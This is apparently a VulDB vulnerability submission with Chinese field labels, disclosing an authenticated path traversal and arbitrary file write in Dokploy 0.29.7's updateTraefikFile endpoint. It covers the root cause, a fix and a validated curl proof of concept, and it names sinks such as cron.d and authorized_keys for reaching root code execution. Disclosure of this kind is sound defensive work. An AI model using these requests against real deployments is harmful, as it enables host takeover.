| 标题 | Dokploy 0.29.7 Path Traversal |
|---|
| 描述 | Authenticated Arbitrary File Write via settings.updateTraefikFile (unvalidated path) leading to RCE on the control-plane host.
Affected: Dokploy v0.29.7 (dokploy/dokploy:latest), source at commit c968a275.
CWE-22 (Path Traversal). CVSS: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (Critical).
Privileges: any authenticated user with traefikFiles:["write"] permission.
SUMMARY
The settings.updateTraefikFile tRPC mutation writes an attacker-controlled file body to an attacker-controlled path with no path validation. Its input schema apiModifyTraefikConfig declares path: z.string().min(1) — no traversal check, no containment to the Traefik directory, no null-byte filter. The value flows into writeTraefikConfigInPath(), which calls fs.writeFileSync(path.join(pathFile), ...) locally, or echo "<base64>" | base64 -d > "${configPath}" over SSH on managed servers.
The read counterpart apiReadTraefikConfig has a .refine() that blocks ../, absolute paths outside MAIN_TRAEFIK_PATH, and null bytes. The write schema omits it entirely — same file, same pair of endpoints; the guard exists for read and was forgotten on write.
ROOT CAUSE
packages/server/src/db/schema/user.ts:170 — apiModifyTraefikConfig: path is z.string().min(1) with no guard.
packages/server/src/db/schema/user.ts:175 — apiReadTraefikConfig: has the .refine() guard (present for read only).
apps/dokploy/server/api/routers/settings.ts:611 — updateTraefikFile calls writeTraefikConfigInPath(input.path, ...).
packages/server/src/utils/traefik/application.ts:231 — writeTraefikConfigInPath: path.join(pathFile) returns an absolute path verbatim; no confinement to MAIN_TRAEFIK_PATH.
IMPACT
An authenticated low-privilege user can write arbitrary files as root anywhere on the orchestrator filesystem. Pointing the write at a code-execution sink (/etc/cron.d/*, a watched Traefik dynamic config, an app/compose file, authorized_keys) yields RCE as root, and host takeover via the mounted Docker socket.
ATTACK CHAIN
1. Log into Dokploy (fresh install: first user becomes owner).
2. Call settings.updateTraefikFile with an absolute path outside the Traefik directory and an arbitrary body.
3. The mutation writes the file as root anywhere on the filesystem.
4. Point it at a code-execution sink for RCE as root.
PROOF OF CONCEPT (validated)
TARGET=http://localhost:3000
curl -s -c c.txt -X POST $TARGET/api/auth/sign-up/email -H 'content-type: application/json' -d '{"name":"admin","email":"[email protected]","password":"LabPassw0rd!23"}' >/dev/null
curl -s -c c.txt -X POST $TARGET/api/auth/sign-in/email -H 'content-type: application/json' -d '{"email":"[email protected]","password":"LabPassw0rd!23"}' >/dev/null
PWNF="/tmp/dokploy_pwn_$(date +%s).txt"
curl -s -b c.txt -X POST "$TARGET/api/trpc/settings.updateTraefikFile" -H 'Content-Type: application/json' -d "{\"json\":{\"path\":\"$PWNF\",\"traefikConfig\":\"PWNED_BY_RESEARCH_0DAY\"}}"
docker exec dokploy sh -c "ls -l $PWNF; cat $PWNF; id"
curl -s -b c.txt -X POST "$TARGET/api/trpc/settings.updateTraefikFile" -H 'Content-Type: application/json' -d '{"json":{"path":"/etc/dokploy/_marker.txt","traefikConfig":"WRITE_OUTSIDE_TRAEFIK_OK"}}'
docker exec dokploy cat /etc/dokploy/_marker.txt
SUGGESTED FIX
Apply the same .refine() guard used by apiReadTraefikConfig to apiModifyTraefikConfig, enforcing containment to MAIN_TRAEFIK_PATH and rejecting ../ and null bytes. |
|---|
| 来源 | ⚠️ https://github.com/Dokploy/dokploy/blob/c968a2755e85bf76fc97eb6ba15e23c4ff65a5c7/apps/dokploy/server/api/routers/settings.ts#L611 |
|---|
| 用户 | Gabriel Alves (UID 99209) |
|---|
| 提交 | 2026-07-04 05時30分 (2 月前) |
|---|
| 管理 | 2026-08-31 14時27分 (2 months later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 397303 [Dokploy 直到 0.29.7 Settings application.ts writeTraefikConfigInPath path 目录遍历] |
|---|
| 积分 | 20 |
|---|